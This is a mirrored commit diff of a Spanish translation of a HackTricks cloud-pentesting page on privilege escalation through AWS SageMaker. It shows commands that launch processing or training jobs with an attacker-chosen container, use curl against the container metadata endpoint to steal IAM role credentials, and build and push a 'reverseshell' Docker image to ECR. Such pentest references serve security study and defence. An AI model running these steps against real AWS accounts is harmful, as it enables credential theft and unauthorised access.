gitea-mirror/hacktricks-cloud
1
0
Fork 0
mirror of https://github.com/HackTricks-wiki/hacktricks-cloud.git synced 2026-01-01 15:35:51 -08:00
Code Issues Packages Projects Releases Wiki Activity

Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

Browse Source
This commit is contained in:
Translator
2025-01-05 22:57:41 +00:00
parent b7de7fcbda
commit 39b4264a34
5 changed files with 287 additions and 16 deletions
Download Patch File Download Diff File Expand all files Collapse all files

10
src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-sagemaker-privesc.md
View File

@@ -19,7 +19,7 @@ aws sagemaker create-presigned-notebook-instance-url \
```
Navega a la URL con el navegador y haz clic en \`Open JupyterLab\` en la parte superior derecha, luego desplázate hacia abajo a la pestaña “Launcher” y en la sección “Other”, haz clic en el botón “Terminal”.
Ahora es posible acceder a las credenciales de metadatos del Rol IAM.
Ahora es posible acceder a las credenciales de metadatos del rol IAM.
**Impacto Potencial:** Privesc al rol de servicio de sagemaker especificado.
@@ -33,7 +33,7 @@ aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <n
### `sagemaker:CreateProcessingJob,iam:PassRole`
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol de IAM adjunto**.
Un atacante con esos permisos puede hacer que **sagemaker ejecute un processingjob** con un rol de sagemaker adjunto. El atacante puede indicar la definición del contenedor que se ejecutará en una **instancia de cuenta ECS gestionada por AWS**, y **robar las credenciales del rol IAM adjunto**.
```bash
# I uploaded a python docker image to the ECR
aws sagemaker create-processing-job \
@@ -49,7 +49,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" #To get the c
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el atacante podrá robar las credenciales del rol.
Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**. Por lo tanto, el ataque podrá robar las credenciales del rol.
> [!WARNING]
> Este escenario es más difícil de explotar que el anterior porque necesitas generar una imagen de Docker que enviará el rev shell o las credenciales directamente al atacante (no puedes indicar un comando de inicio en la configuración del trabajo de entrenamiento).
@@ -71,7 +71,7 @@ Un atacante con esos permisos podrá crear un trabajo de entrenamiento, **ejecut
> cd /tmp/rev
> sudo docker build . -t reverseshell
>
> # Sube esto a ECR
> # Sube a ECR
> sudo docker login -u AWS -p $(aws ecr get-login-password --region <region>) <id>.dkr.ecr.<region>.amazonaws.com/<repo>
> sudo docker tag reverseshell:latest <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
> sudo docker push <account_id>.dkr.ecr.<region>.amazonaws.com/reverseshell:latest
@@ -95,7 +95,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI"
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
Un atacante con esos permisos podrá (potencialmente) crear un **trabajo de entrenamiento de hiperparámetros**, **ejecutando un contenedor arbitrario** en él con un **rol adjunto**.\
&#xNAN;_&#x49; no he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
_No he explotado debido a la falta de tiempo, pero parece similar a las explotaciones anteriores, siéntete libre de enviar un PR con los detalles de la explotación._
## Referencias